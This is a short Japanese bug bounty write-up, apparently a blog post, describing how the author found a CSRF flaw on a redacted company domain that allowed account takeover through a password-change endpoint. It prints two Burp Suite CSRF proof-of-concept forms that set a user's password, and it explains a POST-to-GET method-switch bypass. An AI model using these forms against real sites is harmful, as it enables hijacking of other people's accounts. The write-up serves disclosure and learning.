Hello there, ('ω')ノ
初めてのバグ報奨金 (CSRF からアカウント乗っ取り) をどうやって見つけたかを。
脆弱性:
アカウント乗っ取り
記事:
今回は、最初の報奨金を見つけた方法について。
会社のドメインをテストしていたので、redacted.netと呼ぶことに。
パスワード機能の変更を使い果たしたときに。
mycompany.redacted.net をテストしに行きましたが。
管理者が ID を使用して任意のユーザのパスワードを変更できるため少し異なり。
リクエストは次のようなもので。
IDOR のテスト後に最初に頭に浮かんだのは CSRF で。
csrf の概念実証を作成しましたが、機能せず。
このアイデアが頭に浮かぶまでしばらく考え続け。
jsonパラメータの代わりにHTTP POSTパラメータを送信すべきではないので。
コンテンツタイプを次のように変更してリクエストを作成して。
application/x-www-form-urlencoded; charset=utf-8
Burp Suiteを使ってこのcsrf PoCを作って。
<html>
<! - CSRF PoC - generated by Burp Suite Professional →
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://mycompany.reacted.net/editUser/ChangePassword" method="POST">
<input type="hidden" name="Id" value="1" />
<input type="hidden" name="password" value="password123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
しかし、それをテストしたとき、それは機能せず、要求は行われず。
そこでPoCリクエストを傍受して問題の解明を試みると。
クッキーが完全に含まれていないことに気付いて。
リクエストにクッキーを含めて。
リクエストメソッドを変更するバイパス技術を思い出して。
それが、下記がPOST から GET に変更した結果で。
リクエストが送信されて機能したので、リンクを自分に送信して試してみて。
下記がその結果で。
<html>
<! - CSRF PoC - generated by Burp Suite Professional →
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://mycompany.redacted.net/editUser/ChangePassword/">
<input type="hidden" name="Id" value="1" />
<input type="hidden" name="password" value="password123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
これが、アカウントの乗っ取りにつながるリスクの高いCSRFを見つけた方法で。
Best regards, (^^ゞ